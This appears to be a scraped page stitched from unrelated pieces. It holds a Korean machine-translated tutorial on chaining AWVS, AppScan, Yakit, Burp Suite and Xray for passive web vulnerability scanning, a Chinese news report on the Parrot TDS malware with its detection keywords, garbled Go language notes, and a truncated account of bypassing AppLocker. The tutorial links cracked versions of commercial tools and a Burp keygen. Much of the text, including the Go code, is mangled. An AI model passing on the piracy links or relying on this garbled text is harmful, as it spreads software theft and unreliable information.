学习安全技术并承认自己的弱点不是丑闻。

只有明确原则,您才能突破更多的限制。 ——@ringzero

一,二,三,二,三,四,转身再次做。

0x01 도구 사용

도구의 다운로드 주소 및 설치 방법은 각 도구를 도입 한 후에 배치됩니다. 필요한 경우 직접 다운로드 할 수 있습니다.

1.awvs 도구

AWVS 소개 :

ACUNETIX 웹 취약점 스캐너 (AWVS)는 웹 응용 프로그램의 보안을 테스트하고 관리하는 데 사용되는 플랫폼입니다. 취약점을 위해 인터넷 또는 로컬 LAN을 자동으로 스캔하고 취약점을보고 할 수 있습니다. 액세스하고 HTTP/HTTPS 규칙에 따라 액세스 한 웹 사이트를 스캔 할 수 있습니다. 중소형 및 대기업을위한 고객, 직원, 공급 업체 및 기타 직원을위한 인트라넷, 외부 네트워크 및 웹 사이트. AWS는 SQL 주입 공격 취약점, XSS 크로스 사이트 스크립팅 취약점 등을 확인하여 웹 애플리케이션의 보안을 검토 할 수 있습니다. AWVS 기능 및 기능 : 1) 자동 클라이언트 스크립트 분석기, AJAX 및 Web2.0 응용 프로그램의 보안 테스트를 허용합니다.

2) 업계에서 가장 진보되고 심층적 인 SQL 주입 및 크로스 사이트 스크립팅 테스트

3) HTPP 편집기 및 HTTP 퍼지와 같은 고급 침투 테스트 도구

4) Visual Macro Recorder

5) CAPTHCA, 단일 시작 명령 및 2 요인 (2 요인) 검증 메커니즘이 포함 된 지원 페이지

6) 비자 PCI 준수보고를 포함한 풍부한보고 기능

7) 고속 멀티 스레드 스캐너는 수천 페이지를 쉽게 검색합니다

8) Intelligent Crawler는 웹 서버 유형 및 응용 프로그램 언어를 감지합니다.

9) Acunetix는 플래시 컨텐츠, 비누 및 Ajax를 포함한 웹 사이트를 검색하고 분석합니다.

10) 포트는 웹 서버를 스캔하고 서버에서 실행중인 네트워크 서비스에서 보안 검사를 수행합니다.

11) 웹 사이트 취약성 파일을 내보낼 수 있습니다

AWVS 도구 설치 자습서 주소 : https://blog.csdn.net/shandongjiushen/article/details/128377981

AWVS 도구 크랙 버전 다운로드 주소 (Baidu Netdisk) 링크 : https://pan.baidu.com/s/1kayuhishgujozphx41cqsq 추출 코드 : QBE0

2. AppScan 도구

AppScan 소개 :

AppScan은 보안 전문가 및 테스터를 위해 특별히 설계된 동적 응용 프로그램 보안 테스트 도구입니다. 이를 통해 사용자는보다 안전한 소프트웨어를 개발하고 개발 수명주기 후반에 비싼 취약점을 효과적으로 피할 수 있습니다. 이 소프트웨어에는 강력한 스캐닝 엔진이 내장되어있어 대상 응용 프로그램 및 테스트 취약점을 자동으로 크롤링 할 수 있으며, 테스트 결과는 우선 순위로 제시되므로 운영자가 문제를 더 빠르게 분류하고 가장 중요한 취약점을 가장 먼저 발견 할 수 있습니다. 동시에, AppScan은 사용자에게 명확하고 실현 가능한 수리 제안을 자동으로 제공하여 각 발견 된 문제를보다 쉽게 치료할 수 있습니다. 또한이 소프트웨어에는 웹 응용 프로그램, 웹 서비스 및 모바일 백엔드 테스트를 지원하는 포괄적 인 보안 테스트 제품군이 있으며 운영 기반의 독점 기술 및 수만 건의 내장 스캔을 사용하여 지속적으로 검사하여 웹 서비스 및 애플리케이션에 대한 위험 점검 및 평가가 파괴적인 보안 취약성을 방지 할 수 있습니다. AppScan 기능 소개 : 1) 활성 및 수동 스캐닝 AppScan은 활성 및 수동 스캐닝 기술을 지원합니다. 활성 스캐닝 모드에서 공격자의 동작을 시뮬레이션하고 악의적 인 요청을 보내고 공격 페이로드를 보내고 XSS (XSS), SQL 주입, CSRF (Cross-Site Requess) 등의 알려진 웹 취약점을 발견하여 수동 스캔 모드에서 APPSCAN은 응용 프로그램의 통신 및 인터랙션 프로세스, 분석 및 반응을보고, 그리고 반응 및 반응을보고, 및 반응 및 반응을 보게됩니다.

2) 웹 응용 프로그램 및 모바일 애플리케이션 스캔 지원 AppScan은 웹 애플리케이션 스캔 및 모바일 애플리케이션 보안 평가에 적합합니다. 웹 애플리케이션의 경우 AppScan은 XSS, SQL 주입, 민감한 정보 유출 등과 같은 일반적인 웹 취약점을 자동으로 발견하고 평가할 수 있습니다. 모바일 응용 프로그램의 경우 AppScan은 응용 프로그램의 이진 코드를 분석하고 응용 프로그램에서 취약성 및 보안 문제를 발견 할 수 있습니다.

3) 침투 테스트 지원 AppScan은 침투 테스트 지원을 제공합니다. 즉, 취약성 스캔 도구 일뿐 만 아니라 테스트를위한 실제 공격을 시뮬레이션 할 수 있습니다. 침투 테스트는 복잡한 취약점 및 비즈니스 논리 문제에 대한 심층 테스트 기능을 감지하기 어려운 일부 취약점을 발견하는 데 도움이 될 수 있습니다.

AppScan 도구 설치 자습서 주소 : https://blog.csdn.net/qq_39720249/article/details/121248901

AppScan 도구 크랙 버전 다운로드 주소 (Baidu Netdisk) : https://pan.baidu.com/s/1unazbfwyvevzuqpc1eqaba 추출 코드 : IME6

3. 야키 도구

Yakit 소개 :

YAK는 네트워크 보안의 기본 기능 통합에 전념하는 세계 최초의 수직 개발 언어로 매우 강력한 보안 기능을 제공합니다. Yak은 대부분의 "데이터 설명 언어/컨테이너 언어"의 슈퍼 세트입니다. 모든 GO 기능 및 라이브러리 생태계, VSCODE 플러그인 등이 있습니다. 구문은 사용자 정의 가능합니다. 그것은 완전히 국내 튜링-완성 스크립팅 언어입니다. 포트 스캐닝, 지문 인식, POC 프레임 워크, 쉘 관리, MITM 납치, 강력한 플러그인 시스템 등을 포함하여 다양한 기본 보안 기능을 제공합니다. Yakit은 YAK 언어를 기반으로 개발 한 사이버 보안 개별 도구입니다. Yak 사용 형식으로 인해 사용자는 Yak 언어를 배우고 동시에 보안에 대한 특정 이해를 가져야합니다. Yak의 자체 보안 기능을 모든 사람이 쉽게 받아들이고 사용할 수 있도록하기 위해 Yak을위한 GRPC 서버를 작성하고 클라이언트를 구축했습니다. Yakit은 모든 사람이 인터페이스 GUI를 통해 Yak을 사용할 수있는 임계 값을 낮 춥니 다. Yakit 기능 (너무 많은 기능)에 대한 간단한 소개 : Yakit은 Yak 언어 보안 기능을위한 고도로 통합 된 출력 플랫폼입니다. Yakit을 사용하면 다음을 수행 할 수 있습니다.

1) Burpsuite와 유사한 MITM 납치 작업 테이블

2) 납치 된 모든 요청의 기록을보고 요청의 매개 변수를 분석합니다.

3) 세계 최초의 시각적 웹 퍼즐 도구 : 웹 퍼저

4) Yak Cloud Ide : 내장 된 스마트 프롬프트가있는 Yak Language Cloud IDE

5) ShellreCeiver : 리바운드 대화식 쉘 방지 연결을 받으려면 TCP 서버를 켜십시오.

6) 타사 야크 모듈 상점 : 커뮤니티 주도 타사 야크 모듈 플러그인, 원하는 모든 것이 있습니다.

7.

Yakit 도구 설치 자습서 주소 : https://blog.csdn.net/m0_60045654/article/details/134645164

Yakit 도구 다운로드 주소 : https://yaklang.com/

4. 버프 스위트

버프 스위트 소개 :

Burp Suite는 웹 애플리케이션을 공격하기위한 통합 플랫폼입니다. Burp Suite는 웹 응용 프로그램을 공격하기위한 통합 플랫폼이며 많은 도구를 포함합니다. Burp Suite는 이러한 도구를위한 많은 인터페이스를 설계하여 응용 프로그램을 공격하는 프로세스를 가속화합니다. 모든 도구는 요청을 공유하며 해당 HTTP 메시지, 지속성, 인증, 프록시, 로그 및 경고를 처리 할 수 있습니다. Burp Suite 도구의 기능 소개 : 1) Target (Target) —— 대상 디렉토리 구조의 함수를 표시합니다.

2) 프록시 (프록시) ——는 HTTP/S 프록시 서버를 가로 채어 브라우저와 대상 응용 프로그램 사이의 중개자 역할을하여 원래 데이터 흐름을 양방향으로 가로 자르고,보기 및 수정할 수 있도록합니다.

3) Spider (Spider) ——는 지능형 감지 웹 크롤러를 사용하여 응용 프로그램의 내용과 기능을 완전히 열거 할 수 있습니다.

4) 스캐너 (스캐너) —— 고급 도구 실행 후 웹 애플리케이션에서 보안 취약점을 자동으로 발견 할 수 있습니다.

5) 침입자 (침입자) —— 열거 식별자, 유용한 데이터 수집 및 퍼지 기술을 사용하여 기존의 취약성을 감지하는 것과 같은 웹 애플리케이션을 자동화하는 맞춤형 고도로 구성 가능한 도구.

6) 리피터 (리피터) —— 별도의 HTTP 요청을 트리거하고 응용 프로그램 응답을 분석하기 위해 수동 작업에 의존하는 도구.

7) 시퀀서 (세션) ——는 예측할 수없는 애플리케이션 세션 토큰 및 중요한 데이터 항목의 무작위성을 분석하는 데 사용되는 도구입니다.

8) 디코더 (디코더) ——는 수동 실행 또는 지능적으로 디코딩 및 인코딩 응용 프로그램 데이터 사용자를위한 도구입니다.

9) 비교 (비교) ——는 일반적으로 일부 관련 요청 및 응답을 통해 두 데이터의 시각적 '차이'를 얻습니다.

10) Extender (Extension) ——를 사용하면 Burp Suite Extensions를로드하고 자체 또는 타사 코드를 사용하여 Burp Suite의 기능을 확장 할 수 있습니다.

11) 옵션 (설정) —— BURP 제품군의 일부 설정

BURP Suite Tool 설치 자습서 주소 : https://Blog.csdn.net/m0_60045654/article/details/134645164

버프 스위트 도구 항아리 균열 패키지 : ** https://link.zhihu.com/? target=https%3a //github.com/lzskyline/burploaderkeygen/raw/main/burploaderkeygen.jar

버프 스위트 도구 다운로드 주소 : https://link.zhihu.com/?target=https%3a//portswigger.net/burp/releases/

5. Xray

Xray 도구 소개 :

Xray는 변경 기술에 의해 시작된 강력한 보안 평가 도구입니다. 많은 경험이 풍부한 최전선 보안 실무자들에 의해 만들어졌습니다. 활성 및 수동 스캔 방법을 지원하고 Windows, Linux 및 MACOS와 같은 여러 운영 체제를 지원하며 사용자 정의 POC를 지원합니다.

대상 웹 사이트에서 취약성을 빠르게 감지 할 수 있습니다. 기존 수동 취약성 스캔과 비교하여 Xray는 다음과 같은 장점이 있습니다.

1. 수동 작동의 시간과 에너지를 줄이는 높은 수준의 자동화;

2. 여러 취약성 유형의 스캔을 지원합니다.

3. 분산 배치 지원;

4. 웹 인터페이스 관리를 지원합니다.

Xray Function 소개 : POC 프레임 워크에는 기본적으로 GitHub에 POC가 내장되어 있으며 사용자는 필요에 따라 스스로 빌드 및 실행할 수도 있습니다.

현재 지원되는 취약성 감지 유형은 : 1) XSS 취약성 감지 (key: XSS)

2) SQL 주입 감지 (key: SQLDET)

3) 명령/코드 주입 감지 (key: CMD 주입)

4) 디렉토리 열거 (Key: Dirscan)

5) 경로 교차 감지 (key: 경로 변환)

6) XML 엔티티 주입 감지 (key: XXE)

7) 파일 업로드 감지 (key: 업로드)

8) 약한 비밀번호 감지 (key: Brute-Force)

9) JSONP 감지 (key: JSONP)

10) SSRF 감지 (key: SSRF)

11) 기준선 검사 (Key: 기준선)

12) 임의의 점프 감지 (key: 리디렉션)

13) CRLF 주입 (key: CRLF-injection)

14) Struts2 시리즈 취약성 감지 (Advanced Edition, Key: Struts)

15) ThinkPhp 시리즈 취약성 감지 (고급 버전, Key: ThinkPhp)

16) Xstream 시리즈 취약성 감지 (key: Xstream)

17) POC 프레임 워크 (key: pantasm)

Xray 도구 설치 자습서 주소 : https://blog.csdn.net/weixin_52244272/article/details/132278409

XRAY11 도구 크랙 버전 다운로드 주소 : https://pan.baidu.com/s/1N5LQESVXPK_CGBS7JMFKDA?pwd=AMLJ 추출 코드 : AMLJ

0x02 도구 연결

대상 웹 사이트에서 취약점을 자동으로 스캔하기 위해 5 개의 도구를 연결하기 시작하십시오.

1. AppScan 도구 연결 준비

를 설정하십시오

AppScan 도구 인터페이스를 열고 New-Scan Web Service-Next를 선택하십시오.image.png

선택-AppScan이 포트를 자동으로 선택하게하십시오 (여기에서 선택한 포트 및 주소는 AWVS 에이전트가 듣는 주소 및 포트입니다)-로컬-다른 연결 설정을 구성해야합니다. 다음 단계 image.png

선택 -사용자 정의 프록시 설정 -Address : 127.0.0.1 -포트 : 8083 (여기서 프록시 주소 및 포트 세트는 Yakit의 프록시 청취 주소입니다) --next.image.png

설정할 필요가 없습니다. 다음에 가십시오.image.png

설정하지 않고 다음 단계로 이동하여 마감을 클릭하십시오.image.png image.png

외부 트래픽 레코더를 받고 트래픽이 전달 될 때까지 기다릴 때까지 기다리십시오.image.png

2. Yakit 도구 연결 준비

를 설정하십시오

Yakit 도구 image.png을 시작하십시오

임시 프로젝트 image.png을 엽니 다

침투 테스트 도구-MIMT 대화식 납치 image.png를 선택하십시오

Yakit에는 기본적으로 15 개의 스캔 플러그인이 다운로드된다는 점을 언급하겠습니다. 보다 포괄적 인 수동 스캔 취약점을 원한다면 플러그인 스토어로 이동하여 필요한 플러그인을 다운로드 할 수 있습니다. 한 번의 클릭으로 모든 플러그인을 다운로드 할 수 있지만 스캔은 매우 느립니다. 필요한 것들 중 일부를 다운로드하십시오.image.png

Mimt Interactive 납치로 돌아가 도리 하시도 에이전트 청취 호스트를 설정하십시오. 127.0.0.1, 납치 에이전트 청취 포트는 다음과 같습니다. 플러그인 활성화를 선택하고 왼쪽에서 플러그인을 설정하여 모두를 선택하고 설정 후 구성없는 시작을 선택하십시오 (구성이없는 시작을 선택하는 것이 가장 좋습니다. 그렇지 않으면 Burp Suite 도구를 연결할 때 트래픽이 통과 할 수 없습니다).image.png

나중에 스캔 한 취약점은 여기에 image.png로 표시됩니다

3. Buro Suite Tool

에 대한 연결 준비를 설정하십시오

Burp Suite Tool을 열고-Temporary Project --next를 선택하십시오.image.png

Burp Suite -next의 기본값을 사용하십시오.image.png

설정 image.png를 선택하십시오

프록시를 설정하면 바인딩 프록시 포트는 8080이며 바인딩 주소는 다음과 같습니다. 루프백 만 (프록시 청취 주소 및 포트 세트는 Yakit에서 설정 한 다운 스트림 프록시 주소입니다).image.png

Burp Suite의 상류 프록시를 설정하고 대상 호스트는 다음과 같습니다. * (모든 대상 호스트가 허용됨), 프록시 호스트는 다음과 같습니다. 127.0.0.1, 프록시 포트는 7777입니다.

실시간 작업 추가 image.png

프록시 image.png를 통과하는 모든 트래픽을 수동적으로 스캔하십시오.

내장 된 스캔 동작을 편집합니다.image.png

스캔 유형을 설정하고, 모두를 선택하고, 화력을 켜고, 저장을 클릭하십시오.image.png

확인을 클릭하고 수동 스캔을 설정하십시오.image.png image.png

4. Xray 도구 연결 준비

을 설정하십시오

Xray를 사용하여 포트 127.0.0.133607777 (여기서 듣는 포트는 Burp Suite에서 설정 한 업스트림 프록시), 수동적으로 취약성을 스캔하며 출력 취약점 123.html로 들어갑니다.image.png

0x04 연결 테스트 연결 스캔

모든 준비가 진행 중이며 AWVS 도구를 첫 번째 액세스 스캔 대상 트래픽의 시작점으로 사용하십시오.

1. 인터셉트 트래픽

먼저 Yakit 및 Burp Suite의 트래픽을 납치하여 나중에 트래픽 추세를 볼 수 있습니다.

image.png

image.png

2. AWVS 스캐닝 대상을 설정하십시오

AWVS 스캔 대상을 설정하여 트래픽에 액세스하십시오. 스캔 대상을 추가하고 (이 대상은 승인되었습니다) 저장을 클릭하십시오.

安全研究人員查看Parrot 流量引導系統(TDS) 使用的10,000 多個腳本後,發現逐漸優化的演變過程使惡意代碼對安全機制更加隱蔽。

Parrot TDS 於2022 年4 月被網絡安全公司發現,自2019 年以來一直活躍。主要針對易受攻擊的WordPress 和Joomla 網站,使用JavaScript 代碼將用戶重定向到惡意位置。

研究人員分析,Parrot 已經感染了至少16,500 個網站,是一次大規模的惡意操作。

Parrot 背後的運營商將流量出售給威脅組織,威脅組織將其用於訪問受感染網站的用戶,以進行分析並將相關目標重定向到惡意目的地,例如網絡釣魚頁面或傳播惡意軟件的位置。

不斷演變的惡意軟件Palo Alto Networks 的Unit 42 團隊最近發布的一份報告顯示,Parrot TDS 仍然非常活躍,並且JavaScript 注入更難以檢測和刪除。

Unit 42 分析了2019 年8 月至2023 年10 月期間收集的10,000 個Parrot 登陸腳本。研究人員發現了四個不同的版本,顯示了混淆技術使用的進展。

Parrot 的登陸腳本有助於用戶分析,並強制受害者的瀏覽器從攻擊者的服務器獲取有效負載腳本,從而執行重定向。

11.png

Parrot 攻擊鏈

據研究人員稱,Parrot TDS 活動中使用的腳本是通過代碼中的特定關鍵字來識別的,包括“ ndsj ”、“ ndsw ”和“ ndsx ”。

Unit 42 注意到,所檢查樣本中大多數感染已轉移到最新版本的登陸腳本中,佔總數的75%,其中18% 使用以前的版本,其餘運行較舊的腳本。

22.png

所檢查樣本中的登陸腳本版本份額

與舊版本相比,第四版登陸腳本引入了以下增強功能:

複雜代碼結構和編碼機制的增強混淆;

不同的數組索引和處理會破壞模式識別和基於簽名的檢測;

字符串和數字處理的變化,包括它們的格式、編碼和處理;

儘管增加了額外的混淆層和代碼結構的變化,V4登陸腳本的核心功能仍然與之前的版本保持一致;

它的主要目的仍然是分析受害者的環境,並在滿足條件時啟動有效負載腳本的檢索。

33.png

登陸腳本版本3

關於負責執行用戶重定向的有效負載腳本,Unit 42 發現了九個變體。除了一些人執行的輕微混淆和目標操作系統檢查之外,這些大多是相同的。

在70% 的觀察到的案例中,威脅行為者使用有效負載腳本版本2,該腳本不具有任何混淆功能。

44.png

有效負載腳本版本2

版本4-5 中添加了混淆層,版本6 至9 中變得更加複雜。但是,這些版本很少出現在受感染的站點中。

55.png

10,000 個站點樣本中看到的有效負載腳本版本

總體而言,Parrot TDS 仍然是一種活躍且不斷演變的威脅,並且正變得更加難以捉摸。

建議用戶在其服務器上搜索流氓php 文件,掃描ndsj、ndsw 和ndsx 關鍵字,使用防火牆阻止Webshell 流量,並使用URL 過濾工具阻止已知的惡意URL 和IP。

HireHackking

Go语言学习笔记

参考(ctrl c+v)https://www.kancloud.cn/kancloud/the-way-to-to-go//

作为研究指出,仅记录关键点。

初始

平台和体系结构

GO语言开发团队为以下操作系统开发了一个编译器:

Linux

freebsd

Mac OS X(也称为Darwin)

目前有2个编译器:GO Native编译器GC和非本地编译器GCCGO。两个编译器都在类似Unix的系统下工作。其中,编译器的GC版本已移植到Windows平台并集成到主分布中。您也可以通过安装MINGW在Windows平台上使用GCC编译器。两个编译器都以单通道形式工作。

您可以在以下平台上获得GO 1.4源代码和二进制文件:

Linux 2.6+:AMD64,386和ARM架构

Mac OS X(Snow Leopard + Lion):AMD64和386架构

Windows 2000+:AMD64和386架构

GO环境变量

$ goroot表示GO在计算机上的安装位置。它的价值通常为$ home/go。当然,您也可以在其他地方安装它。

$ gacararch代表目标机器的处理器架构,其值可以为386,AMD64或ARM。

$ Goos代表目标机器的操作系统,其值可以是Darwin,FreeBSD,Linux或Windows。

$ Gobin代表编译器和链接器的安装位置。默认值为$ goroot/bin。如果您使用的是1.0.3及以后,则通常可以将其值设置为空。 GO将使用上述默认值。

安装目录列表

/bin:包含可执行文件,例如:编译器,GO工具

/doc:包含示例程序,代码工具,本地文档等。

/lib:包括文档模板

/MISC:包含与支持GO编辑器和CGO示例有关的配置文件

/os_arch:对象文件(.a)包含标准库的软件包

/src:包含源代码构建脚本和标准库的软件包的完整源代码(GO是开源语言)

/src/cmd:包含GO和C的编译器和命令行脚本

GO DEBUGGER

使用打印语句在适当的位置输出相关变量(PRINT/PRINTLN和FMT.PRINT/FMT.PRINTLN/FMT.PRINTF)的值。

使用fmt.printf中的以下规范打印有关变量的相关信息:%+v打印包括字段在内的实例的完整信息

%#V打印有关一个实例的完整信息,包括字段和合格的类型名称

%t打印一种类型的完整描述

使用恐慌语句(第13.2节)获取堆栈跟踪信息(所有称为功能的列表,直到恐慌)。

使用关键字延期跟踪代码执行过程(第6.4节)。

构建和运行GO程序

在大多数IDE中,在构建每个程序并保存格式的源文件之前,自动调用源格式工具GOFMT。如果构建成功,将不会输出信息。当发生编译时错误时,它将指示源代码中发生了哪种错误线,例如:声明且未使用。通常,您可以双击IDE中的错误消息,然后直接跳到发生错误的线路。

如果程序顺利执行并成功退出,则将在控制台上输出的代码0的程序将输出。

从GO 1开始,请使用go构建应用程序的更方便的工具:

去构建编译并安装自己的软件包和依赖项

去安装自己的软件包和依赖项软件包

语言的核心结构和技术

基本结构和基本数据类型

你好world

123456789package mainimport ( 'fmt')func main() { fmt.Println('hello, world')}

包的概念

Package is a way of structured code: each program consists of the concept of a package (usually referred to as pkg), and can use its own package or从其他软件包导入内容。

软件包主是指可以独立执行的程序,并且每个GO应用程序包含一个称为MAIN的软件包。

所有包装名称均应使用小写字母。

注释

//单行注释/* xxxx */多行评论

功能

您可以在括号()中编写0个或更多函数的参数(使用逗号,分离),每个参数的名称必须随后是该参数的类型。

1func sum(a,b int)int {返回a + b}

类型

基本类型:int,float,bool,string

结构化(复合):结构,阵列,切片,地图,通道

结构化类型没有实际值,它将零作为默认值使用

键入转换

类型B=B=B=B=类型的值(A型值的值)

1valueofTypeb=typeb(valueoftypea)

常量

123456牛肉,两个,c=“肉”,2,“ veg” const,星期一,星期二,星期二,星期三,星期六,星期六,星期六=1、2、2、3、4、5、5、6const(星期一,星期三,星期三,星期三,星期三,星期三,星期三,星期三,星期三,星期四,星期四,星期四,星期四,星期四,星期四,33,星期四变量,将变量的类型放在变量的名称之后

123456789111121314151617VAR标识符类型多行自动根据变量VAR的值自动推断其类型(a=15 b=false=false='go hello hello to the the the World!'numships=50 city string)并行\ cam c=5,c=5,7,abc'abc''命名法,即第一个单词是小写,每个新单词的第一个字母是大写,例如:numships and Startdate

变量(常数,类型或功能)在程序中具有一定的动作范围,称为范围。

如果在功能主体之外声明变量,则它被视为一个全局变量,可以在整个软件包,外部软件包(导出后)中使用,无论您声明哪个源文件或您在哪个源文件中调用该变量。

在功能体中声明的变量称为局部变量,其范围仅在函数体内,而参数和返回值变量也是局部变量。

变量

函数FMT.print和fmt.println使用格式标识符%V自动格式化字符串,这两者都会在每个参数之间自动添加空格,而后者也在字符串末端添加了一个newline。例如:

123fmt.print('Hello:',23)将输出:Hello: 23

打印

该变量可以在全局声明中初始化,也可以在INIT函数中进行初始化。

它不能人为地调用,但是在初始化每个软件包后会自动执行,并且执行优先级高于主函数。

源文件只能包含一个初始化功能。初始化始终以一个线程执行,并按照软件包的依赖项顺序执行。

init.go

123456789包装传输'Math'var Pi float64func init(){pi=4 * MATH.ATAN(1)//init(1)//init(init()函数pi} pi} user_init.go imports intimpt trans(在同一路径中)并使用变量pi

123456789101112 package mainimport('fmt'./trans')var twopi=2*trans.pifunc main(){fmt.printf('2*pi=%g \ n',twopi,twopi)布尔类型只能是恒定的还是错误的

数字类型:整数int和浮点浮点

格式指定符:在格式字符串中,%d用于格式化整数(%x和%x用于格式化在十六进制中表示的数字),%g用于格式化浮点(%f输出浮点数,%e输出数量floing e uptucts e Outputs Scientific Countific Counting代表),并使用%0D来指定输出固定长度长度Integer,在此中必不可少。

数值转换:当转换A32BitInt=INT32(A32Float)时,将丢弃小数点后的数字。

复数:GO具有以下复数类型:

12COMPLEX64(32位真实和虚构)复杂128(64位真实和虚构)位操作:一元操作员:逐个位置补充^,左侧移动,右移,位右移动

二进制运算符:位和位,位或|,位Xor ^,位清除^

逻辑运算符:==,=,=,=

算术运算符:可用于整数和浮点数的常见二进制运算符为+, - , *和/。

运营商和优先级:

一些操作员的优先级更高,二进制运算符的操作指示是从左到右的。下表列出了所有操作员及其优先级,从上到下,下到底到下,表示优先级从高到低:

12345678优先操作员7 ^! 6 * /% ^ 5 + - | ^ 4==!====3-2 1 ||当然,您可以通过使用括号暂时增加特定表达式的总体操作优先级。

类型别名:1Type tz int字符类型:char.go

1234567891111213VAR CH Int='\ u0041'var ch2 int='\ u03b2'var ch3 int='\ u00101234'fmt.printf('%d -%d -%d -%d -%d -%d -%d -%d -%d -%d -%d \ n',ch,ch2,ch2,ch3,ch3,ch3,ch3,ch3,ch3) CH2,CH3)//farmicfmt.printf('%x-%x -%x \ n',ch,ch2,ch3)//utf-8 bytesfmt.printf('%u -%u -%u -%u',ch,ch2,ch2,ch3,ch3)//utf -8代码点输出:65-946-10533336A--946-105332336A -R41-R4 101234U+0041 -U+03B2 -U+101234

init函数

字符串类型的零值是一个零长的字符串,即,一个空字符串''。

一般比较运算符(==,=,=,=,)实现了通过内存中字节对字符串的比较。您可以使用函数len()来获取字符串占据的字节长度,例如:len(str)。

字符串剪接字符+:两个字符串S1和S2可以通过S :=S1 +S2,S +='World'一起剪接。

解释字符串:

此类字符串包含在双引号中,相关的逃生字符将被替换,包括:

\ n:断路

\ r:马车返回

\ t:选项卡键

\ u或\ u:unicode字符

\\:后斜线本身

非解释字符串:

这类字符串封闭在背部和支持线路断裂中,例如:

1`这是一个原始的字符串\ n`将按原样输出。

基本类型和操作员

12345678911112121415161718192022222222222224252627PACKAGE MAINIMPOAGE('fmt'time'time'time'time'time'time.durationfunc main()星期三12月21日09:52:14 +0100 rst 2011 fmt.printf('%02d。%02d。%4d \ n',t.month(),t.month(),t.year(),t.year(),//21.12.212.2011 t=time.now time.now() 08:52:14 +0000 UTC 2011 FMT.PRINTLN(time.now()) T.ADD(周) //星期三12月21日08:56:34 2011 FMT.PRINTLN(T.FORMAT('02 JAN 2006 15:04'))//)//21 DEC 2011 2011 083:52 S 3:=T. format(format 08:52:14 +0000 UTC 2011=20111221}

字符串

该程序将其值存储在内存中。每个内存块(或单词)都有一个地址,该地址通常由十六进制数字表示,例如:0x6B0820或0xF84001D7F0。

指针变量可以指向任何值的内存地址。它指向该值的内存地址,在32位计算机上占据4个字节,在64位机器上占据了8个字节,并且与指向的值的大小无关。

GO语言的地址字符是,它将在将其放置在变量上之前返回相应变量的内存地址。

指针类型之前是*编号(前缀),以获取指针指向的内容。 *数字是类型更换器。使用指针参考值称为间接参考。

当定义指针并且未分配给任何变量时,其值为零。

指针变量通常缩写为PTR。

示例:显示将新值分配给*p并更改变量自己的值(这是字符串)

12345678911112131415 package mainimport'fmt'func main(){s :='good byed bye'v var p *string=s *p='ciao'fmt.printf('这是指针p:%p:%p:%p3360%p33,在这里p33 prints prints prints prints p3 3 %s \ n', *p)//打印字符串fmt.printf('这是字符串s:%s \ n',s)//same string} outter}输出:这是指针p:0x2540820在此处,在此处是字符串*p: ciaohere是字符串S3333333:11010101010101010101010101010101010101010101010101010101010101010101033333333333333333333333333333333333333333333:10010 1234567891111213141516171920212222324IF条件1 {//如果条件2 {//做某事数字,例如3'+'or%s to doiT.'func init(){如果runtime.goos=='windows'{stript=fmt.sprintf(stript,'ctrl+z,enter')} else {//unix-like提示=fmt=fmt.sprintf(提示条件1:案例条件2: default:}

时间和日期

指针

123456789Package Mainimport'fmt'func Main(){for I :=0;我5; i ++ {fmt.printf('这是%d迭代\ n',i)}}}

控制结构

,它可以迭代任何集合(包括数组和地图),其一般形式为:for IX,Val :=range coll {}。

val始终是集合中相应索引值的副本,因此它通常只有仅阅读属性,并且对其进行的任何修改都不会影响集合中的原始值(Translator的注释:如果Val是指指针,则将生成指针的副本,并且集合中的原始值仍可以修改)

123for pos,char :=范围str {.}

if-else结构

破坏动作范围是出现此陈述后的最内向结构,可以以任何形式用于循环(反,有条件判断等)。但是在开关或选择语句中,断点语句的效果是跳过整个代码块并执行后续代码。

继续忽略剩余循环主体并直接进入下一个循环的过程,但是下一个循环并未无条件执行。在执行之前,仍需要满足循环的判断条件。

开关结构

,用于,开关或选择语句可以与标签形式的标识符一起使用,即以一条线上的结肠(:)结尾的第一个单词(GOFMT将自动将后续代码移动到下一行)。

123456789 label1: for I :=0; i=5; i ++ {for J :=0; j=5; J ++ {如果J==4 {继续Label1} fmt.printf('I IS:%D,和J IS:%D \ n',I,i,j)}}}}}}}}}}}}}

对于结构

-1010 3333660010 :010

基于反迭代

10101010101010101011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111马云惹不起马云191199来实间mainimport'fmt'func main(){fmt.printf('乘2 * 5 * 5 * 6=%d \ n',乘数3nums(2,5,6))//var i1 int=var i1 int=multiply3nums(2,5,5,5,6) int,c int)int {//var product int=a * b * c //返回产品返回产品a * b * c}输出显示:倍数2 * 5 * 6=60 3

范围结构

getx2andx3带有getx2andx3_2的两个函数演示如何使用非命名返回值和命名返回值。当需要返回多个非命名返回值时,需要使用(int,int)封闭它们。

12345678910111213141516171819202122232425262728package mainimport 'fmt'var num int=10var numx2, numx3 intfunc main() { numx2, numx3=getX2AndX3(num) PrintValues() //Output: num=10, 2x num=20, 3x num=30 numx2,numx3=getx2andx3_2(num)printValues()//输出:num=10,2x num=20,3x num=30} func printValues(){fmt.printf('num=%=%d,2x num=%d,2x num=%d,3x num=%d d \ n',num=%d \ n',numx got func func func func func func func inct func func func funct func func inct func functx Intup(func) int){return 2 * input,3 * input} func getx2andx3_2(input int)(x2 int,x3 int){x2=2 * input x3=3 * input //return x2,return x2,x3 return} :01

休息并继续

whitespace字符用于匹配某些不需要的值并匹配某些不良的值并使其canduct缩。 TrixValues是一个具有三个不需要任何参数的返回值的函数。在下面的示例中,我们将第一个和第三个返回值分配给I1和F1。第二个返回值分配给空白符号_,然后自动丢弃。

123456789111121314PACKAGE MAINIMPORT'fmt'func Main

冷静地分析并冷静地做出反应。

0x01简介

提示:只需将其视为负面情况即可。实际上,您获得的方式远不如下面提到的麻烦。我只是责怪自己太不耐烦了.

它最初是卑诗省项目创建的促销场所,但当时只有外壳

1

权限是普通用户。当他想提高许可以进一步收集服务器上的信息时,他发现拒绝运行各种事情的权限,并提示小组策略阻止程序。当时,由于还有其他事情,他没有继续研究它(用户名更敏感,整个过程将在稍后进行编码)。

2

0x02旁路pastocker

我最近突然想起了它,所以我继续这样做,问小组的主人

3

知道它是什么后,很容易说。如果您耐心地寻找它,您将始终获得一些东西。 Applocker简介:

https://baike.baidu.com/item/applocker/2300852?fr=aladdin

然后我找到了3G大师的文章:

https://3Gstudent.github.io/3gstudent.github.io/use-msxsl-to-bypass-applocker/

如何具体使用它,请自己阅读文章。阅读本文后,后续行动的总体想法将很清楚。

0x03在线升级

